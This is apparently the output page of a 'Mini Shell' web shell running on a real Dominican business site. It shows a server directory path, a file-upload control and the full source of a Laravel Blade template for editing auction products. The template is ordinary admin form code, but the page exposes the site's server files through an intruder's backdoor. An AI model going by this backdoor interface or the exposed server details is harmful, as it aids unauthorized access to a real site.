HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/resources/views/auction/auction_products/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/views/auction/auction_products/edit.blade.php
@extends('backend.layouts.app')



@section('content')

<div class="aiz-titlebar text-left mt-2 mb-3">

    <h1 class="mb-0 h6">{{ translate('Edit Auction Product') }}</h5>

</div>

<div class="">

    <form class="form form-horizontal mar-top" action="{{route('auction_product_update.admin', $product->id)}}" method="POST" enctype="multipart/form-data">

        <input name="_method" type="hidden" value="POST">

        <input type="hidden" name="id" value="{{ $product->id }}">

        <input type="hidden" name="lang" value="{{ $lang }}">

        @csrf

        <div class="row gutters-5">

            <div class="col-lg-8">



                <div class="card">

                    <ul class="nav nav-tabs nav-fill border-light">

                        @foreach (\App\Models\Language::all() as $key => $language)

                        <li class="nav-item">

                            <a class="nav-link text-reset @if ($language->code == $lang) active @else bg-soft-dark border-light border-left-0 @endif py-3" href="{{ route('auction_product_edit.admin', ['id'=>$product->id, 'lang'=> $language->code] ) }}">

                                <img src="{{ static_asset('assets/img/flags/'.$language->code.'.png') }}" height="11" class="mr-1">

                                <span>{{$language->name}}</span>

                            </a>

                        </li>

                        @endforeach

                    </ul>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Product Name')}} <i class="las la-language text-danger" title="{{translate('Translatable')}}"></i></label>

                            <div class="col-lg-8">

                                <input type="text" class="form-control" name="name" placeholder="{{translate('Product Name')}}" value="{{ $product->getTranslation('name', $lang) }}" required>

                            </div>

                        </div>

                        <div class="form-group row" id="category">

                            <label class="col-lg-3 col-from-label">{{translate('Category')}}</label>

                            <div class="col-lg-8">

                                <select class="form-control aiz-selectpicker" name="category_id" id="category_id" data-selected="{{ $product->category_id }}" data-live-search="true" required>

                                    @foreach ($categories as $category)

                                    <option value="{{ $category->id }}">{{ $category->getTranslation('name') }}</option>

                                    @foreach ($category->childrenCategories as $childCategory)

                                    @include('categories.child_category', ['child_category' => $childCategory])

                                    @endforeach

                                    @endforeach

                                </select>

                            </div>

                        </div>

                        <div class="form-group row" id="brand">

                            <label class="col-lg-3 col-from-label">{{translate('Brand')}}</label>

                            <div class="col-lg-8">

                                <select class="form-control aiz-selectpicker" name="brand_id" id="brand_id" data-live-search="true">

                                    <option value="">{{ translate('Select Brand') }}</option>

                                    @foreach (\App\Models\Brand::all() as $brand)

                                    <option value="{{ $brand->id }}" @if($product->brand_id == $brand->id) selected @endif>{{ $brand->getTranslation('name') }}</option>

                                    @endforeach

                                </select>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Unit')}} <i class="las la-language text-danger" title="{{translate('Translatable')}}"></i> </label>

                            <div class="col-lg-8">

                                <input type="text" class="form-control" name="unit" placeholder="{{ translate('Unit (e.g. KG, Pc etc)') }}" value="{{$product->getTranslation('unit', $lang)}}" required>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Tags')}}</label>

                            <div class="col-lg-8">

                                <input type="text" class="form-control aiz-tag-input" name="tags[]" id="tags" value="{{ $product->tags }}" placeholder="{{ translate('Type to add a tag') }}" data-role="tagsinput">

                            </div>

                        </div>

                    </div>

                </div>

                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Product Images')}}</h5>

                    </div>

                    <div class="card-body">



                        <div class="form-group row">

                            <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('Gallery Images')}}</label>

                            <div class="col-md-8">

                                <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">

                                    <div class="input-group-prepend">

                                        <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}</div>

                                    </div>

                                    <div class="form-control file-amount">{{ translate('Choose File') }}</div>

                                    <input type="hidden" name="photos" value="{{ $product->photos }}" class="selected-files">

                                </div>

                                <div class="file-preview box sm">

                                </div>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('Thumbnail Image')}} <small>(290x300)</small></label>

                            <div class="col-md-8">

                                <div class="input-group" data-toggle="aizuploader" data-type="image">

                                    <div class="input-group-prepend">

                                        <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}</div>

                                    </div>

                                    <div class="form-control file-amount">{{ translate('Choose File') }}</div>

                                    <input type="hidden" name="thumbnail_img" value="{{ $product->thumbnail_img }}" class="selected-files">

                                </div>

                                <div class="file-preview box sm">

                                </div>

                            </div>

                        </div>

                    </div>

                </div>

                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Product Videos')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Video Provider')}}</label>

                            <div class="col-lg-8">

                                <select class="form-control aiz-selectpicker" name="video_provider" id="video_provider">

                                    <option value="youtube" <?php if ($product->video_provider == 'youtube') echo "selected"; ?> >{{translate('Youtube')}}</option>

                                    <option value="dailymotion" <?php if ($product->video_provider == 'dailymotion') echo "selected"; ?> >{{translate('Dailymotion')}}</option>

                                    <option value="vimeo" <?php if ($product->video_provider == 'vimeo') echo "selected"; ?> >{{translate('Vimeo')}}</option>

                                </select>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Video Link')}}</label>

                            <div class="col-lg-8">

                                <input type="text" class="form-control" name="video_link" value="{{ $product->video_link }}" placeholder="{{ translate('Video Link') }}">

                            </div>

                        </div>

                    </div>

                </div>



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Product Bidding Price + Date Range')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Starting Bidding Price')}}</label>

                            <div class="col-lg-6">

                                <input type="text" placeholder="{{translate('Starting Bidding Price')}}" name="starting_bid" class="form-control" value="{{$product->starting_bid}}" required>

                            </div>

                        </div>



                        @php

                          $start_date = date('d-m-Y H:i:s', $product->auction_start_date);

                          $end_date = date('d-m-Y H:i:s', $product->auction_end_date);

                        @endphp



                        <div class="form-group row">

                            <label class="col-sm-3 col-from-label" for="start_date">{{translate('Auction Date Range')}}</label>

                            <div class="col-sm-9">

                              <input type="text" class="form-control aiz-date-range" value="{{ $start_date.' to '.$end_date }}" name="auction_date_range" placeholder="{{translate('Select Date')}}" data-time-picker="true" data-format="DD-MM-Y HH:mm:ss" data-separator=" to " autocomplete="off">

                            </div>

                        </div>

                    </div>

                </div>

                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Product Description')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Description')}} <i class="las la-language text-danger" title="{{translate('Translatable')}}"></i></label>

                            <div class="col-lg-9">

                                <textarea class="aiz-text-editor" name="description">{{ $product->getTranslation('description', $lang) }}</textarea>

                            </div>

                        </div>

                    </div>

                </div>



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('PDF Specification')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('PDF Specification')}}</label>

                            <div class="col-md-8">

                                <div class="input-group" data-toggle="aizuploader">

                                    <div class="input-group-prepend">

                                        <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}</div>

                                    </div>

                                    <div class="form-control file-amount">{{ translate('Choose File') }}</div>

                                    <input type="hidden" name="pdf" value="{{ $product->pdf }}" class="selected-files">

                                </div>

                                <div class="file-preview box sm">

                                </div>

                            </div>

                        </div>

                    </div>

                </div>

                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('SEO Meta Tags')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Meta Title')}}</label>

                            <div class="col-lg-8">

                                <input type="text" class="form-control" name="meta_title" value="{{ $product->meta_title }}" placeholder="{{translate('Meta Title')}}">

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-lg-3 col-from-label">{{translate('Description')}}</label>

                            <div class="col-lg-8">

                                <textarea name="meta_description" rows="8" class="form-control">{{ $product->meta_description }}</textarea>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('Meta Images')}}</label>

                            <div class="col-md-8">

                                <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">

                                    <div class="input-group-prepend">

                                        <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}</div>

                                    </div>

                                    <div class="form-control file-amount">{{ translate('Choose File') }}</div>

                                    <input type="hidden" name="meta_img" value="{{ $product->meta_img }}" class="selected-files">

                                </div>

                                <div class="file-preview box sm">

                                </div>

                            </div>

                        </div>

                        <div class="form-group row">

                            <label class="col-md-3 col-form-label">{{translate('Slug')}}</label>

                            <div class="col-md-8">

                                <input type="text" placeholder="{{translate('Slug')}}" id="slug" name="slug" value="{{ $product->slug }}" class="form-control">

                            </div>

                        </div>

                    </div>

                </div>

            </div>



            <div class="col-lg-4">



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6" class="dropdown-toggle" data-toggle="collapse" data-target="#collapse_2">

                            {{translate('Shipping Configuration')}}

                        </h5>

                    </div>

                    <div class="card-body collapse show" id="collapse_2">

                        @if (get_setting('shipping_type') == 'product_wise_shipping')

                        <div class="form-group row">

                            <label class="col-lg-6 col-from-label">{{translate('Free Shipping')}}</label>

                            <div class="col-lg-6">

                                <label class="aiz-switch aiz-switch-success mb-0">

                                    <input type="radio" name="shipping_type" value="free" @if($product->shipping_type == 'free') checked @endif>

                                    <span></span>

                                </label>

                            </div>

                        </div>



                        <div class="form-group row">

                            <label class="col-lg-6 col-from-label">{{translate('Flat Rate')}}</label>

                            <div class="col-lg-6">

                                <label class="aiz-switch aiz-switch-success mb-0">

                                    <input type="radio" name="shipping_type" value="flat_rate" @if($product->shipping_type == 'flat_rate') checked @endif>

                                    <span></span>

                                </label>

                            </div>

                        </div>



                        <div class="flat_rate_shipping_div" style="display: none">

                            <div class="form-group row">

                                <label class="col-lg-6 col-from-label">{{translate('Shipping cost')}}</label>

                                <div class="col-lg-6">

                                    <input type="number" lang="en" min="0" value="{{ $product->shipping_cost }}" step="0.01" placeholder="{{ translate('Shipping cost') }}" name="flat_shipping_cost" class="form-control">

                                </div>

                            </div>

                        </div>



                        <div class="form-group row">

                            <label class="col-md-6 col-from-label">{{translate('Is Product Quantity Mulitiply')}}</label>

                            <div class="col-md-6">

                                <label class="aiz-switch aiz-switch-success mb-0">

                                    <input type="checkbox" name="is_quantity_multiplied" value="1" @if($product->is_quantity_multiplied == 1) checked @endif>

                                    <span></span>

                                </label>

                            </div>

                        </div>

                        @else

                        <p>

                            {{ translate('Product wise shipping cost is disable. Shipping cost is configured from here') }}

                            <a href="{{route('shipping_configuration.index')}}" class="aiz-side-nav-link {{ areActiveRoutes(['shipping_configuration.index','shipping_configuration.edit','shipping_configuration.update'])}}">

                                <span class="aiz-side-nav-text">{{translate('Shipping Configuration')}}</span>

                            </a>

                        </p>

                        @endif

                    </div>

                </div>



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Cash On Delivery')}}</h5>

                    </div>

                    <div class="card-body">

                        @if (get_setting('cash_payment') == '1')

                        <div class="form-group row">

                            <div class="col-md-12">

                                <div class="form-group row">

                                    <label class="col-md-6 col-from-label">{{translate('Status')}}</label>

                                    <div class="col-md-6">

                                        <label class="aiz-switch aiz-switch-success mb-0">

                                            <input type="checkbox" name="cash_on_delivery" value="1" @if($product->cash_on_delivery == 1) checked @endif>

                                            <span></span>

                                        </label>

                                    </div>

                                </div>

                            </div>

                        </div>

                        @else

                            <p>

                                {{ translate('Cash On Delivery option is disabled. Activate this feature from here') }}

                                <a href="{{route('activation.index')}}" class="aiz-side-nav-link {{ areActiveRoutes(['shipping_configuration.index','shipping_configuration.edit','shipping_configuration.update'])}}">

                                    <span class="aiz-side-nav-text">{{translate('Cash Payment Activation')}}</span>

                                </a>

                            </p>

                        @endif

                    </div>

                </div>



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('Estimate Shipping Time')}}</h5>

                    </div>

                    <div class="card-body">

                        <div class="form-group mb-3">

                            <label for="name">

                                {{translate('Shipping Days')}}

                            </label>

                            <div class="input-group">

                                <input type="number" class="form-control" name="est_shipping_days" value="{{ $product->est_shipping_days }}" min="1" step="1" placeholder="{{translate('Shipping Days')}}">

                                <div class="input-group-prepend">

                                    <span class="input-group-text" id="inputGroupPrepend">{{translate('Days')}}</span>

                                </div>

                            </div>

                        </div>

                    </div>

                </div>



                <div class="card">

                    <div class="card-header">

                        <h5 class="mb-0 h6">{{translate('VAT & Tax')}}</h5>

                    </div>

                    <div class="card-body">

                        @foreach(\App\Models\Tax::where('tax_status', 1)->get() as $tax)

                        <label for="name">

                            {{$tax->name}}

                            <input type="hidden" value="{{$tax->id}}" name="tax_id[]">

                        </label>



                        @php

                        $tax_amount = 0;

                        $tax_type = '';

                        foreach($tax->product_taxes as $row) {

                            if($product->id == $row->product_id) {

                                $tax_amount = $row->tax;

                                $tax_type = $row->tax_type;

                            }

                        }

                        @endphp



                        <div class="form-row">

                            <div class="form-group col-md-6">

                                <input type="number" lang="en" min="0" value="{{ $tax_amount }}" step="0.01" placeholder="{{ translate('Tax') }}" name="tax[]" class="form-control" required>

                            </div>

                            <div class="form-group col-md-6">

                                <select class="form-control aiz-selectpicker" name="tax_type[]">

                                    <option value="amount" @if($tax_type == 'amount') selected @endif>

                                        {{translate('Flat')}}

                                    </option>

                                    <option value="percent" @if($tax_type == 'percent') selected @endif>

                                        {{translate('Percent')}}

                                    </option>

                                </select>

                            </div>

                        </div>

                        @endforeach

                    </div>

                </div>



            </div>

            <div class="col-12">

                <div class="mb-3 text-right">

                    <button type="submit" name="button" class="btn btn-info">{{ translate('Update Product') }}</button>

                </div>

            </div>

        </div>

    </form>

</div>



@endsection



@section('script')



<script type="text/javascript">

    $(document).ready(function (){

        show_hide_shipping_div();

    });



    $("[name=shipping_type]").on("change", function (){

        show_hide_shipping_div();

    });



    function show_hide_shipping_div() {

        var shipping_val = $("[name=shipping_type]:checked").val();



        $(".flat_rate_shipping_div").hide();



        if(shipping_val == 'flat_rate'){

            $(".flat_rate_shipping_div").show();

        }

    }



    AIZ.plugins.tagify();



    $(document).ready(function(){

        $('.remove-files').on('click', function(){

            $(this).parents(".col-md-4").remove();

        });

    });

</script>



@endsection